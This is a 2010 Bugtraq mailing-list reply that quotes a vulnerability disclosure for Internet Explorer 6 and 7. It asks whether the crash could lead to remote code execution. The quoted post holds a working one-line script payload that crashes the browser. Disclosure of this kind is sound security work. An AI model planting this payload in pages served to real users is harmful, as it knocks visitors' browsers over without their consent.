RE: Microsoft IE 6&7 Crash Exploit

Hi,

Can this exploit be used for remote code execution???

-Santhosh

-----Original Message-----
From: info@securitylab.ir [mailto:info@securitylab.ir] 
Sent: Tuesday, January 26, 2010 5:06 PM
To: bugtraq@securityfocus.com
Subject: Microsoft IE 6&7 Crash Exploit

#################################################################
# Securitylab.ir
#################################################################
# Application Info:
# Name: Microsoft IE
# Version: 6 & 7
# Tested on : XP(SP1/SP2/SP3)
#################################################################
# Vulnerability Info:
# Type: Crash
# Risk: Medium
#################################################################
Vulnerability:

IE.html
<script>document.createElement("html").outerHTML</script>
#################################################################
# Discoverd By: Pouya Daneshmand
# Website: http://securitylab.ir
# Contacts: info[at]securitylab.ir & whh_iran@yahoo.com
###################################################################